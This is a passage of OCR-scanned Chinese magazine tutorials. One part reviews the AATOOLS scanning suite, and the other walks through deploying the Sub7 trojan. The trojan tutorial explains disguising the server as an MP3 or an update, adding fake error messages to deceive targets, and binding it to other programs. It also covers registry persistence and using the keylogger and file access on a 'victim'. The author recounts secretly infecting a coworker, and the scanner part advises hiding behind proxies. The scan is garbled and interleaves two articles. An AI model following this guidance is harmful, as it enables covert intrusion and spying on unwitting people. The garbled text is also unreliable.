事 ,那么 千 万 不 能 忘 了 使 用 代理 服务 器 ,左上 方 的 use

socks proxy 就 是 , 它 支 持 Socks4 和 Socks5 两 种 代理 。

其 他 几 个 工具 也 都 支持 Socks 的 Proxy。 我 们 把 PORT

sets 设置 为 Everything( 这 样 测试 最 全 面 ) ,然后 按 下 上

方 的 Scan 键 ,激动 人 心 的 时 刻 就 要 到 了 。 右 边 的 Re-

sults 栏 里 出 现 了 我 们 扫描 的 主机 所 开 的 端口 〈 见 图

3)。 然 后 …… 就 随便 你 了 。 现 在 你 可 以 把 扫描 的 结果

保存 下 来 了 , 喝 , 就 按 那个 Save, 可 以 存 成 炎 . txt 的 文

件 , 这 样 以 后 也 方便 调用 , 只 要 按 Load 就 行 了 。 还 有 ,

那个 Stop 旁边 的 network PC 按键 是 用 来 搜索 局 域 网

内 部 机 器 的 ,你 不 妨 自 己 试 试 。

图 3

AATOOLS 的 设置 大 同 小 异 , 只 要 你 熟练 掌握 了

个 工具 的 设置 和 使 用 , 其 他 所 有 的 工具 也 能 基本 使

用 了 。

2. PROXY ANALYZER( 代 理 验 证 器 )

我 们 继续 看 第 二 个 工具 一 一 PROXY ANALYZER

(代理 验证 器 )。

这 个 工具 感 党 上 和 PROXY HUNTER 差不多 , 但

是 比 代理 猎手 稳定 得 多 了 , 可 能 是 我 的 线程 设 得 少

缘故 。( 苑 图 4)

图 4

一 般 SETTINC 里 不 用 设置 , 用 默认 值 即 可 , 当然

你 也 可 以 用 自己 的 设置 。

把 搜索 到 的 代理 服务 器 填 人 HOST NAME OR 卫

ADDRESS, 选 择 左 边 的 端口 后 , 点 击 Add 就 可 以 了 ,

它 会 进行 初步 验证 。 如 果 成 功 的 话 , 下 面 的 那个 表格

里 就 会 出 现 我 们 要 验证 的 PROXY 了 , 然 后 ? 按

START, 对 , 就 这 么 简单 。 验 证 以 后 , 所 有 的 参数 都 会

在 那个 表格 中 列 出 。 怎 么 样 , 比 PROXY HUNTER 详细

多 了 吧 。

这 个 工具 同时 可 以 验证 Http 和 Socks 的 代理 , 最

下 方 有 LECGEND 的 图 式 注 解 ,非常 直观 的 。

3. CGI ANALYZER( 通用 网 关 接 口 分 析

器 )

下 面 为 大 家 讲解 AATOOLS 中 最 实用 的 工具

CGI ANALYZER( 通 用 网 关 接 口 分 析 器 ) , 其 实

叫 “ 漏 洞 扫描 器 ?来 得 直观 一 些 。

我 们 先 来 看 看 CGI SETUP 里 如 何 设置 :( 图 5)

”如 图 所 示 , 和 PORT SCANNER 的 SETTING 设置

差不多 , 也 有 Add, 也 能 选择 SET( 类 ), 通常 我 们 在 这

里 选择 的 应 该 是 ALL, 这 样 所 有 的 漏洞 都 难 逃 你 的 掌

握 , 当 然 如 果 你 有 新 发 现 的 漏洞 , 也 可 以 自己 手动

ADD。 同 时 , AATOOLS 的 版 本 越 高 , 所 能 测 到 的 漏洞

也 越 多 。 顺便 说 一 下 :由 于 未 注册 版 本 的 功能 限制 ,我

们 现在 使 用 的 是 4. 00C 版 , 同 时 我 们 还 测试 了 4. 30

的 版 本 ,感觉 更 好 ,不 论 是 界面 还 是 内 容 。

设置 完毕 ,开始 扫描 漏洞 。

同样 , 我 们 以 “异域 天 空 网 络 安全 中 心 ” http: //

www. collinsgu. com 为 例 。 ( 见 图 6)

Kohwhaxcrne 区 fat

ABRiccatay 同 杂 JFntbjer

7

Arer fosiddom

MOLNgESRRCE 如 盾 ot 过 An

图 6

幸好 我 们 的 站 点 还 是 比较 安全 的 , 大 多 数 的 B

默认 设置 都 已 关闭 (有些 默 认 设置 非常 不 安全 ), 即使

开放 了 一 些 , 也 都 被 FORBIDDEN 了 , 当 然 除了 那个

GUESTBOOK. CGI 的 脚本 。 应 该 说 那 是 ISP 的 功劳 ,但

是 大 多 数 的 网 站 是 没有 那么 专业 的 , 比如 一 些 企 业 目

行 架设 的 站 点 ,大 都 不 更 改 默认 设置 的 ,随便 找 一 个

试 试 吧 ,不 过 不 要 于 坏事 啊 。 我 们 测试 了 一 些 站 点 ,好

. 像 这 个 软件 对 于 Asp 的 扫描 更 全 面 一 些 , 我 们 发 现 了

不 少 网 站 的 TS 漏洞 , 比 如 HSadmpwd 没有 关闭 , 等

等 。 鉴于 安全 考虑 ,我 们 就 不 对 这 些 网 站 进行 公开 了 ,

大 家 可 以 自己 测试 一 下 。 毕 竟 在 NT 下 的 漏洞 要 比 在

LINUX 下 的 多 得 多 。 还 有 , 别 忘 了 找 个 PROXY , 否则

你 要 是 做 坏事 的 话 会 被 发 现 的 , 因为 一 般 的 网 站 上 都

TOOLS

有 了 王 访 问 记录 。

现在 大 家 应 该 对 这 个 软件 有 了 一 个 感性 的 认识

了 ,其实 AATOOIS 的 精华 就 是 这 三 个 小 工具 了 。

4.EMAIL VERIFIER (EMALL 验证 工具 )

下 面 让 我 们 来 看 看 EMAIL VERIFIER(EMAIL 验

证 工具 )。 其 实 类似 的 工具 有 很 多 , 这 个 功能 一 般 、 性

能 也 一 般 。

好 ,我 们 先 看 看 SETTING。MY GOD! 又 是 一 大 片

不 认识 的 卫 文 , 那 就 算 了 ,不 更 改 了 ,反正 也 不 需要 更

改 的 。 在 ENTER EMAIL ADDRESS(ONLY) 栏 里 填 人

一 个 EMAEL 按 ADD。 怎 么 LOCATION 一 下 子 就 知道

了 (CHINA)? 是 的 ,这 其 实 也 不 是 什么 高 深 的 学 问 , 它

根据 的 是 .en 的 后 缀 来 判断 的 , 不 信 你 试 试 输入 :

. com 后缀 的 , 怎 么 样 ,LOCATION 不 是 变 成 COM-

MERCIAL 了 吗 。 下 面 我 们 就 START。 验 证 后 的 结果

(如 图 7)。

图 7

其 实 这 个 功能 也 没有 什么 特别 的 , 就 是 为 了 验证

你 所 知道 的 EMAIL 是 否 正确 ,一 个 两 个 EMAIL 的 输

人 很 方便 ,成 千 上 万 个 呢 ? 不 急 ,这 个 工具 支持 LOAD

(导入 ) 的 , 你 可 以 自己 看 看 它 自 带 的 那个 Exam-

pleEmail. txt 文件 。

S. LINK ANALYZER( 超 级 连接 分 析 器 )

我 们 继续 , 下 面 该 看 看 LINK ANALYZER( 超 级 连

接 分 析 器 ) 。 非 常 简单 , 启动 后 它 会 自动 搜索 你 C: 下

的 所 有 . URL 文件 , 然 后 按 CONNECT 就 可 以 进行 验

证 了 。 这 里 我 们 就 不 进行 详细 介绍 了 , 大 家 可 以 参考

上 上 面 介 绍 的 EMAIL VERIFIER(EMAIL 验证 工具 )。

下 面 一 个 WHOIS 查询 也 很 简单 , 只 要 在 HOST

NAME OR 耳 里 填 人 你 要 查询 的 域名 或 者 改 服务 器 的

6. NETWORK STATUS (网 络 状 况 )

这 个 工具 非常 实用 。 人 简单 的 界面 , 只 要 设置 是 否

为 AUTO REFRESH 和 刷新 时 间 就 可 以 了 。 我 们 建议 :

如 果 你 的 机 器 还 过 得 去 (MMX200 以 上 ) , 请 选择 AU-

TO REFRESH, 你 会 知道 选择 了 以 后 对 你 的 帮助 有 多

大 的 。

看 看 我 们 提供 的 图 解 ( 见 图 9) , 这 是 一 幅 我 们 在

联网 时 的 抓 图 。

图 9

从 左 到 右 依 次 是 : PROTOCOL( 所 使 用 协议 )、LO-

CAL 下 (本 地 由 地 址 )、LOCAL PORT( 本 地 所 开端

口 )、ROMOTE IP( 远 程 卫 )`.ROMOTE PORT( 远 程 所 开

端口 ) STATUS( 状 况 )。 是 不 是 很 直观 ,这 里 要 说 明 的

是 :4000 是 OICQ 默认 的 固定 端口 (如 果 安 装 了 QQ 的

插件 那 就 另 当 别论 ) ,192. 168. 0. 1 是 我 们 的 机 器 在

局 域 网 内 的 地 址 ,61. 169. 71. 2 就 是 我 们 在 网 上 的 正

地 址 了 。 这 样 我 们 就 可 以 看 到 和 我 们 本 地 机 器 建立 连

接 的 远程 主机 的 卫 地 址 和 所 开端 口 。 知 道 怎么 查

OICQ 上 陌生 人 的 下 地 址 了 吧 ? 一 般 我 们 可 以 检测

4000 那个 端口 所 对 应 的 远程 耻 的 。 毕 竟 现 在 QQ 的

搬 件 都 是 用 来 显示 好 友 卫 的 。 但 是 你 是 不 会 去 麦 炸

自己 的 好 友 的 啊 。 其 实 这 个 功能 和 Windows 的 NET-

STAT 命令 差不多 , 但 是 方便 不 少 ,有 兴趣 的 朋友 也 可

以 在 MS DOS 方式 下 ,对 NETSTAT. EXE 进行 测试 。 还

有 必要 说 明 一 下 的 就 是 STATUS 里 的 那 几 个 正文 描

述 , 否 则 有 可 能 困扰 大 家 。 "LISTEN” 表 示 监 听 中 ;

“TIME 双 AIT” 表 示 正 在 连接 ;“ESTABLISHED” 表 示 连

接 已 建立 .好 了 ,对 于 NETWORK STATUS 的 介绍 就 到

这 里 。

7. PROCESS INFO (进程 信息 )

下 面 我 们 该 介绍 PROCESS INFO( 进 程 信 息 ) , 也

就 是 所 谓 的 进程 管理 器 。

在 这 个 工具 中 ,我 们 可 以 清楚 地 看 到 CPU 当前

的 进程 情况 ,包括 CPU 当前 使 用 进程 ,CPU 使 用 情

况 ,进程 所 调用 的 模块 ,文件 路 径 ,CPU ID、 模 块 ID

等 ,如 果 发 现 错误 ,或 者 非法 进程 的 话 ,我 们 可 以 利用

它 的 选项 “TERMINATE PROCESS( 终止 进程 ) 和

DELETE MODULE( 删 除 模块 )” 来 进行 管理 。( 见 图

10)

8.SYSTEM INFO( 系 统 信息 )

最 后 让 我 们 来 看 看 SYSTEM INFO( 系 统 信息 ) 工

具 , 这 个 工具 可 以 显示 你 机 器 几乎 所 有 的 相关 信息 ,

WORK STATION 、OPERATINC SYSTEM、CPU 、MEMO-

RY、DISPLAY 、DRIVERS、 ENGINES、 PRINTERS、DE-

VICES NETWORK、MEDIA、 APM。 真 是 应 有 尽 有 了 。

( 见 图 11)

\ 结 束 语

以 前 和 朋友 聊天 , 谈 到 计算 机 的 网 络 安全 , 总 是

少不了 黑客 的 话题 。 我 以 前 认为 黑客 总 是 那么 神秘 ,

离 我 们 太 远 。 直 到 有 一 天 ,我 的 机 器 突然 一 下 子 变 得

特别 慢 , 而 且 一 会 儿 就 自动 重 起 了 好 几 遍 , 我 对 此 很

茫然 ,不 知 是 怎么 回 事 , 后 来 跟 同事 谈 起 此 事 , 才 知道

是 有 人 通过 黑客 软件 在 远程 控制 我 的 计算 机 , 这 就 是 ,

我 对 黑客 的 初步 印象 。 后 来 我 通过 对 一 些 黑客 软件 的

研究 , 发 现 以 前 控制 我 计算 机 的 黑客 也 只 是 一 些 刚 和 人

道 的 小 菜 ,真正 的 黑客 是 不 需要 依赖 别人 编写 的 工具

来 实施 攻击 的 , 而 是 自己 编写 程序 。 所 以 我 决定 以 姑

苏 莫 容 世 家 的 “以 彼 之 道 , 还 施 彼 身 "。 来 给 这 些 自 认

为 是 黑客 的 小 菜 们 一 点 颜色 看 看 ,不 过 我 本 身 也 是 一

个 刚 接触 黑 软 的 小 菜 , 所 以 也 必需 借用 别人 现成 的 工

具 。 一 个 简单 有 效 的 黑客 工具 对 于 我 们 这 些 刚 接触 这

一 领域 的 人 是 特别 重要 的 ,所 以 我 选择 了 特洛伊 木马

法 , 木 马 我 选择 了 最 新 的 Sub7 V2. 1( 可 能 还 有 新 版

和 oot iniorrnsticm

La 全- 王位 习

kretey TFT SR

一 一 -一 -一 一 -一 一 一 一 一

Ne

好 了 , 这 么 一 个 优秀 的 工具 软件 AATOOLS 终

介绍 完了 。 古语 说 的 好 :“ 水 能 载 舟 , 亦 能 覆 舟 "。 希 户

大 家 能 妥善 使 用 这 个 软件 , 尽量 为 中 国 的 网 络 安全 工

作 多 出 点 力 , 这 是 我 们 介绍 这 个 软件 的 初衷 。 目 前

AATOOLS 的 最 新 版 为 4. 30, 需 要 注册 ,不 注册 的 话 有

30 天 的 时 间 限 制 和 一 些 功能 上 的 使 用 限制 。 多

本 ) ,这 是 一 个 非常 优秀 的 木马 程序 ,功能 很 强 。 首 先

人 允许 我 介绍 一 下 Sub7 的 “光辉 历史 ” 吧 , 然后 再 跟 大

家 探讨 该 软件 的 具体 用 法 。

一 \SubSevyen 基本 配置

据 称 该 木马 首先 在 日 本 被 发 现 , 一 封 附件 为

“server. exe” 的 电子 邮件 在 日 本 蔓延 , 该 附件 声称 本

身 是 一 个 可 以 清除 Pink - wzrom 病毒 的 反 病 毒 软件 ,

但 实际 上 是 一 个 名 为 SubSeven Server 的 木马 。 该 电子

邮件 是 来 自 一 个 日 本 的 Hotmail 账号 , 并 声称 来 自 微

软 在 日 本 的 服务 器 。 该 电子 邮件 要 求 收 到 邮件 的 人 运

行 附件 中 的 “server. exe” 以 保护 计算 机 免 受 Pinkworm

病毒 的 侵袭 ,但 实际 上 根本 没有 Pinkworm 病毒 。 该 程

序 起 服务 器 程序 的 作用 , 它 允 许 远 程控 制 者 操纵 你 的 ,

计算 机 和 获取 你 计算 机 上 的 资料 ,提供 了 查找 、 获 取 、

发 送 文件 ,窃取 密码 ,改变 颜色 、 设 定 , 放 音 设 备 音量 ,

改变 日 期 和 时 间 等 功能 。 而 且 在 短 时 间 内 该 工具 迅速

从 1.0 版 升级 到 现在 的 2. 1 版 …… 够 快 的 ! 而且 功 能

上 也 有 了 相当 大 的 改进 ,所 以 大 家 千 万 别 拿 它 来 做 坏

事 噢 。 不 过 万 一 有 一 天 遇 到 黑 你 的 人 , 你 也 可 以 给 他

一 点 颜色 看 看 , 千 万 别 跟 我 一 样 ,被 别人 黑 了 ,一 点 脾

气 都 没有 , 最 后 只 有 落 到 关机 或 者 拔 网 线 的 份 了 , 这

些 我 不 想 再 提起 了 ,让 大 家 见笑 了 。 现 在 言 归 正 传 , 首

局 动 后 , 标题 栏 的 右边 有 一 个 卫 符号 , 点 击 该 处

将 出 现 图 2 的 画面 :

[host name] 对 方 主机 名 。

[resolve host name] 指 的 是 通过 主机 名 连接 。

[ip address] 对 方 的 耳 值 。

[reverse lookup] 指 的 是 通过 瑟 连接 对 方 主 机 。

[ping 记 ] 可 以 ping, 也 可 以 解释 域名 。

[clear] 表 示 清 除 状 态 栏 中 的 信息 。

[status] 表 示 当 前 的 状态 。

作为 一 个 木马 程序 , 服务 器 端的 设置 是 非常 重要

的 ,下面 我 们 看 一 下 Sub7 的 服务 器 端 是 如 何 设置 的 :

图 3 就 是 Server 端 配 制 工具 Edit Server 的 启动 画

面 。 这 个 Server 端的 大 小 为 395KB。 首 先 你 要 在

[Server] 处 填 上 该 Server. EXE 在 你 硬盘 上 的 正确 位

置 ,以 便 对 其 进行 修改 。

图 3

[browse] 是 指 直 接 指定 Server 在 硬盘 上 的 位 置 。

[read current settings] 可 以 读 取 当前 server 端的

配置 情况 并 在 此 基础 上 进行 编辑 。

[chang server icon] 你 可 以 随心 所 欲 的 更 改 你 的

Server. EXE 的 图 标 。

这 个 属性 对 于 特洛伊 木马 是 很 重要 的 , 因为 你 必

须 将 Server. EXE 放 到 你 要 黑 的 计算 机 上 , 并 且 必 须

设法 在 他 的 计算 机 上 点 击 Server. EXE。( 一 定 要 在 你

黑 的 计算 机 上 点 击 , 别 像 我 起 初 那样 , 我 们 的 计算 机

都 有 一 个 完全 共享 的 目录 , 我 有 一 次 偷偷 的 将 Serv-

er. EXE 放 到 我 同事 的 计算 机 上 , 我 在 我 这 边 自己 点

击 好 几 下 ,结果 用 客户 端 连接 时 ,怎么 也 连 不 上 ; 而 后

我 乘 他 没 注 意 , 在 他 的 计算 机 上 点 击 了 一 下 ,又 试 了

一 次 , 才 成 功 了 ,所 以 提醒 大 家 千 万 别 像 我 一 样 傻 。)

你 可 以 将 Server 端的 图 标 做 成 一 个 MM, 或 者 伪装 成

某 个 软件 的 升级 程序 。 不 管 你 用 什么 手法 , 最 终 的 目

的 就 是 要 骗 他 点 击 Server. EXE, 从 而 最 终 能 够 控制 他

的 计算 机 。 作 者 是 将 图 标 改 为 Winamp 图 标 , 文 件 名

改 为 “大 海 ” ,多么 好 听 的 一 首 歌 。

二 、. 对 注册 表 的 修改

上 面 说 了 Sub7 的 基本 配置 , 那么 Sub7 究竟 是 如

何 运行 的 呢 ? 它 更 改 了 注册 表 的 哪些 地 方 , 那 就 是 下

面 我 们 要 干 的 工作 了 。 现 在 大 家 对 于 注册 表 修 改 应 当

是 比较 熟悉 了 , 特 别 是 run 键 值 下 的 一 一 一 切 都 是 木

马 巷 的 褐 。 咱 们 还 是 看 EditServer 画面 中 的 【Startup

method[s]] 吧 。 如 图 4 所 示 ,

图 4

这 个 框 是 控制 Sub7 的 启动 模式 , 是 用 来 改 Win-

dows 注册 表 的 小 东 东 , 大 家 一 定 要 注意 哟 , 注册 表 可

不 是 那么 好 玩 的 哟 。

[regidtry - Run] 如 果 你 选 了 此 前 面 的 复 选 框 , 那

么 Sab7 将 改变 Run 键 值 下 的 内 容 , 所 以 你 在 实验 之

前 最 好 把 注册 表 备 份 一 下 , 以 免 你 的 爱 机 再 也 起 不 来

了 ,, 同时 也 便于 你 比较 分 析 , 使 你 明白 清除 特洛伊 木

马 的 方法 。

同 理 你 也 可 以 改变 RunServices 键 值 下 内 容 , 如

果 你 愿意 也 可 以 在 IN. INI,less known method 或 者

_not - known method 中 留 下 点 记号 , 一 切 只 要 你 愿

意 。

[Keyname] 用 默认 值 时 系统 相关 文件 的 更 改 情况

[HKEY TOCAL MACHINE\ Software\ Microsoft'

Windows'\ “Winloader”=

“MSREXE. exe”

[HKEY TOCAL MACHINEA\ Software\ Microsoft、

Windows\CurrentVersion\RunServices] “WinLoader ”=

“MSREXE. exe”

Win. inl

[windows] load = MSREXE. exe

CurrentVersion\ Run]

System. inil

shell = Explorer. exe MSREXE. exe

看 了 上 面 的 内 容 , 大 家 对 手工 清除 木马 也 应 该 有

一 些 了 解 了 吧 。

咱们 继续 往 下 看 , 就 能 见 到 如 图 5 所 示 的 画面 。

它 是 通知 模块 ,就 是 Sever 端 何 时 登 上 网 络 ,他 就 会 自

动 通知 你 ,这 个 功能 在 大 多 数 国产 木马 中 也 有 , 但 不

是 那么 体贴 人 微 。

大 家 可 以 自己 看 一 下 , 它 能 通过 ICQ, 下 5C 以 及

e- mail 来 通知 你 , 具体 配置 也 不 是 十 分 复杂 , 大 家 可

以 自己 琢磨 。 不 过 值得 注意 的 是 你 在 用 email 时 ,有 可

能 暴露 你 的 下, 所 以 你 最 好 先 点 击 一 下 enable e-

mail notify 旁边 的 ? 号 ,看 看 它 的 说 明 , 如 图 6 所 示 。

|

TOOLS

其 大 意 是 :这 个 属性 的 难点 是 email 的 服务 器 ,如

果 你 确信 神秘 的 email 服务 器 允许 停留 , 那 么 就 点 击

它 。 如 果 你 不 确信 ,那么 可 以 从 列表 中 选取 任何 服务

器 地 址 ,并 且 不 填写 User 的 这 地 址 。 然 后 点 击 “test”

按钮 , 试 着 通过 特定 的 服务 器 发 出 一 个 email, 如 果 你

接收 到 一 个 email 信息 ,那么 就 说 明 服 务 器 工作 正常 ,

你 可 以 放心 的 使 用 它 。

右边 的 [installation] 在 配置 里 是 一 个 特别 重要 的

部 分 , 包括 了 对 server 端 所 做 的 诸如 安装 后 删除 自身

的 一 些 设置 , 它 可 以 与 [chang server icon] 结合 起 来

用 ,从 而 赢得 别人 的 信任 。

[automaticajly start server on port] 指 自动 从 某 端

口 启 动 Sub7 服务 器 端 。

[use random port] 是 一 个 很 强大 的 功能 ,现在 的

木马 几乎 都 可 以 自行 配置 端口 , 除了 极端 新 手 会 使 用

默认 配置 之 外 , 所 以 单 靠 监听 某 一 端口 或 某 几 个 端

口 信息 包 的 做 法 可 能 已 经 落后 了 。 当 然 这 种 随机 的

PORT 也 会 给 主 控 端 带 来 一 定 的 麻烦 , 所 以 一 般 情 况

下 还 是 指定 某 一 端口 。 如 图 7 所 示 :

[Configure] 点 击 configure 按 扭 , 出现 如 图 8 所 示

的 画面。

STR

Se

iarnin

TOOLS

|

{

你 可 以 在 [message title] (标题 栏 ) 和 [jessage

text] (提示 信息 ) 的 文本 框 中 填写 你 需要 伪装 的 文

字 。 最 好 用 英语 写 。 像 我 是 伪装 成 歌 送 给 他 ,所 以 可 以

写成 "文件 错误 ,请 重新 下 载 ”, 记 住 要 用 英文 写 哟 。 如

此 这 样 才能 消除 对 方 的 怀疑 。

[test message] 指 的 是 测试 。

[apply settings] 指 的 是 应 用 。

当 你 点 击 了 bind server with EXE files 前 的 复 选

框 时 , 你 就 可 以 将 Server 和 别 的 EXE 文件 合并 起 来 ,

bind server with EXE filesr 右 下 方 的 [browse] 就 是 用 来

指定 与 Server 合并 的 文件 的 路 径 。 如 果 你 要 将 两 个

EXE 文件 合并 在 一 块 , 用 这 个 属性 , 不 就 轻松 搞定 了

吗 !

Protect Server 是 Sub7 用 来 保护 你 自己 的 小 措

施 , 这 好 像 是 Sub7 新 增 的 功能 吧 ! 其 画面 如 图 9 所

图 9

它 能 防止 你 的 用 户 信息 被 你 要 控制 的 计算 机 所

读 取 , 要 知道 那里 面 可 有 你 私人 的 小 秘密 哟 。 而 且 如

果 被 对 方 读 取 的 话 , 你 的 进攻 也 只 有 死 定 了 。

三 、 和 名 不 错 传 SubSevyen

光 讲 理论 , 没有 实践 可 不 行 , 实践 是 检验 真理 的

唯一 标准 。 下 面 我 就 通过 一 个 具体 的 实例 来 说 明 上 述

问题 。

第 一 步 : 点 击 Edit Server. EXE, 启 动 Edqit Server

画面 ,如 图 10 所 示 。

图 10

第 二 步 : 你 可 以 在 Sever 处 直接 输入 Server. EXE

在 你 硬盘 上 的 位 置 , 也 可 以 通过 点 击

[browse] ,指定 Server 在 你 硬盘 上 的 位 置 。 执 行 上

述 操作 后 ,将 出 现 如 图 11 所 示 画 面 :

点 击 fread current settings] , 你 就 可 以 看 到 当前

server 端的 设置 。

第 三 步 :点 击 [change server icon] , 你 就 可 以 改变

Server. EXE 的 图 标 , 改 一 个 好 看 的 顺 , 最 重要 的 是 骗

倒 对 方 。 我 将 它 变 为 Winamp 图 标 ,这 不 播 身 一 变 , 成

了 mp3 了 。 如 图 12 所 示 :

第 四 步 : 在 启动 模式 对 话 框 中 , 你 可 以 点 击 其 中

的 任何 复 选 框 , 从 而 改变 注册 表 。 不 过 我 还 是 想 多 说

一 句 , 在 你 改 之 前 最 好 将 注册 表 备 份 一 下 。 我 还 是 只

选 了 win. ini 前 的 复 选 框 , 其 余 的 也 不 是 特别 复杂 , 大

家 可 以 自己 试 试 。

第 五 步 :在 installation 框 中 ,保留 原 有 设置 。

第 六 步 :做 完 上 述 工 作 后 ,得 自己 保护 起 来 。 点 击

protect the server so ii can'?t be edited/changed? 前 的 复

选 框 , password: 表示 你 要 输入 的 密码 , reenter: 表示 重

新 输入 密码 ,以 确认 密码 输入 是 否 正 确 。

第 七 步 : 保 存 设 置 。 保 存 设 置 如 图 13 所 示

[save new settings : ] 表示 把 设置 保存 到 刚才 你 打

开 的 Server. EXE 中 。

[Save a new copy of ihe server with the new set-

tings] 表示 以 另外 的 文件 名 和 路 径 保 存 设 置 。 从 而 保

留 了 原来 的 Server. EXE 文件 。 我 将 Server. EXE 保存

为 “大 海 ” ,我 想 张雨生 如 果 看 见 了 一 定 会 骂 我 。

如 果 你 在 启动 模式 中 改 注 册 表 时 , 只 选 了

Win. ini 前 的 复 选 框 ,那么 你 只 要 在 dos 下 ,( 可 以 在

98 自 带 的 dos 下 )

运行 : edit win. ini 命令 后 将 出 现 如 图 14 所 示 的

将 rm= C:\ WINDOWS\ SYSTEMA\ cmmpu. exe,

MSREXE. exe 一 行 中 MSREXE. exe 删除

再 在 注册 表 删 除 一 个 键 值 ,方法 如 下 ;

运行 regedit 后 ,再 点 击

FIHKEY LOCAL MACHINE \Software \SubSeven

将 SubSeven 删除 , 然后 重启 后 , 你 就 能 发 现 木马

被 清除 了 。

总 之 ,注册 表 是 非常 奥妙 的 , 相信 大 家 看 了 上 面

的 内 容 , 对 手工 清除 木马 ,也 应 该 有 所 了 解 了 。

服务 器 端 就 说 到 这 儿 , 下 面 我 们 主要 探讨 客户 端

的 用 法 ,也 是 我 们 Sub7 的 中 心 控制 部 分 。

在 客户 端的 最 上 面 ,我 们 能 看 到 图 15:

7 人 W

inZuin: 文本 框 中 表示 你 要 黑 的 计算 机 的 正 值 ,

一 定 要 输入 正确 哟 。

Port:, 指 的 是 默认 的 端口 号 , 可 以 在 服务 器 端 设

置 。

[connet] 表示 客户 端 回 服务 器 端 发 信号 请 求 联

接 。

客户 端的 最 下 方 有 一 个 状态 栏 , 用 来 显示 是 否 联

接 成 功 。

如 有 果 状 态 显 示 为 图 16 所 示 的 画面 :

Ten

TOE TY 下 ER RSYTTRRE AT

和 失 同 本 刺 让 证 庆 二 洛 全民 设

学 9

则 表示 尚未 联接 成 功 。

如 果 十 图 17 所 示 的 画面 ,

部 史

|] 让

人 0 竹 划 党 |

则 表示 已 经 联接 成 功 。 可 以 进行 下 面 的 操作 , 否

则 下 面 所 做 的 一 切 都 是 白费 。

区 四 点 击 此 图 标 , 可 以 将 你 需要 的 IP 值 保存 起

来 。 相 当 于 一 个 卫 电话 本 ,方便 实用 。

真是 体贴 入 微 。

客户 端的 左边 是 菜单 组 , 右 边 为 工具 的 使 用 界

面 。

点 开 Connetion , 你 就 会 看 到 下 面 还 有 一 组 菜单 。

如 图 18 所 示 。

ip scanner: 可 以 扫描 你 指定 网 段 上 打开 某 一 端

口 的 电脑 用 户 ,可 以 ping, 也 可 以 解释 域名 。

get pc info: 可 以 得 到 主机 信息 , 如 用 户 名 , 共享

情况 ,CPU , 域 ,platform, 以 及 用 户 连接 情况 等 。 具体 如

图 19。

全 汪

0 人生

有 有

云 记 仙

0 芭 口 呈

公 避 世 个 攻 二

关 一

di

EVEN

G 司 本 TREE

1 于

人 ES 宛 SYS

省 尖 相 让 疫 的 克基 于 涿 ES 汪 区 下 讶 趟 丰 |

图 19

get home info: 主机 用 户 的 基本 情况 , 如 公司 、 邮

件 地 址 ,但 只 有 他 在 填 了 这 些 情 况 下 ,你 才能 看 到 , 否

则 就 只 有 not found。

server options 服务 器 选项 , 可 以 改变 端口 、 密 码 ,

重启 机 器 等 。 如 图 20 所 示 :

[change port] 表 示 改 变 端 口 。

2

二 潮 0

如 村 人 人

多 Sa 忆

吕 RISE

风光

坟 =

7 RE 全 寺

放生 1 全 CR

人 有 和 贞 经 计

|

ENNSNRRREEERERSE

图 20

[set default port] 设 置 默认 的 端口 。

fset password] 设置 客户 端的 密码 , 防止 别人 用 你

的 客户 端 于 坏事 。

fremove password] 移 除 密码 。

[disconnecet victim] 断 开 与 服务 器 的 联接 。

[restart server] 重 新 启动 服务 。( 此 功能 没 看 出 来 )

[remove server] 移 除 服务 器 , 客户 端 与 服务 器 端

将 再 也 联接 不 上 。 所 以 说 如 果 你 还 想 继续 黑人 , 最 好

不 要 用 这 个 属性 。

[close server] 功能 与 remove server 有 点 相似 ,我

是 没 看 出 什么 区 别 。

[update server from local file] 表示 从 当地 文件 对

Server 升级 。

[update server from URL file] 表示 从 通过 网 络 对

Server 升级 。

ip notify: 通过 三 种 途径 通知 你 ,server 端 何 时 登

上 Internet 网 络 。

远亲 不 如 近邻 , 下 面 咱们 再 看 看 connection 的 近

邻 keys/messages, 如 图 21 所 示

1

区 SS

妃 1

全 的

keyboard: 键盘 记录 、 发 送 击 键 指令 ,只 要 跟 键盘

有 关 的 东西 都 可 以 在 这 几 找到 。 其 界面 如 图 22 所 示 :

| 二 这

|

报 骆 攻克 ni 生僻 下

[Open keylogger] 表 示 打 开 键 盘 记 录 器 ,最 后 你 项

的 键盘 的 字符 , 被 以 keys.txt 的 形式 保存 在 subseven

的 目录 下 。

[Send Keys] 其 中 的 refreshwindows ,表示 当前 你 要

黑 的 对 象 所 打开 窗口 的 名 称 。 可 以 说 他 对 于 你 再 没有

什么 秘密 可 言 。

[Get offline keys] 表示 得 到 脱 机 记录 的 键盘 的 字

符 , 你 将 能 看 到 [open keylogger] 中 所 记录 的 键盘 字

符 。

[Clear offline keys] 表示 清空 脱 机 记录 的 字符 , 那

么 你 再 点 击 [get oftline keys] ,将 什么 也 看 不 到 。

[Disable keyboard] 表示 使 键盘 失灵 , 只 要 点 击 了

它 ,那么 你 就 只 能 用 也 标 了 。

[Chat] 表示 和 受 控 方 聊天 。 跟 聊天 室 一 样 , 不 过

特别 快 。 你 可 以 自己 填写 呢 名 (nick name) ,同时 你 还

可 以 改变 界面 的 大 小 ,以 及 显示 文字 的 颜色 大 小 。

[Matrix] 好 像 是 一 个 点 对 点 的 模式 。 自 己 可 以 试

试 。

msg manager: 发 送 消息 时

spy: 当 间谍 ,可 别 心跳 加 速 哟 。

ICQ takeover: 跟 icd 有 关 。

四 .SubSeyen 核心 功能 详解

下 面 咱们 将 说 到 Sub7 的 精华 部 分 , 也 就 是 其 核

心 , 大 家 一 定 要 好 好 看 哟 。 首 先 让 我 们 看 一 下 ad-

vanced 的 下 拉 莱 单 。 如 图 23 所 示 :

ftp/http: 登 上 他 的 主机 。

find files: 可 以 看 到 他 机 子 上 任何 文件 , 下 面 就

是 想 于 什么 就 干什么 了 。 先 看 一 下 它 的 画面 。 如 图 24

所 示 :

图 24

你 可 以 在 look for [you can use wildcards] 中 改变

要 查找 文件 的 扩展 名 。 在 look in folder 中 改变 驱动 器

的 名 称 。

如 果 你 点 击 search sub - directories 前 的 复 选 框 ,

再 点 击 [find fle[s]] ,就 可 以 发 现 当 前 民 : 盘 中 所 有 扩

展 名 为 .jpg 的 文件 。

如 果 你 不 点 击 [Search sub - directories] 前 的 复 选

框 ,而 直接 点 击 [fnd fle[s]] ,你 的 画面 将 变 为 图 25;

再 点 击 [move list to file manager] , 画面 变 为 图 26

所 示 :

点 击 [C:], 然后 点 击 [reftesh] , 你 可 以 得 到 C 盘

目录 下 的 所 有 文件 。

[get drives] :改变 驱动 器 号 。

图 26

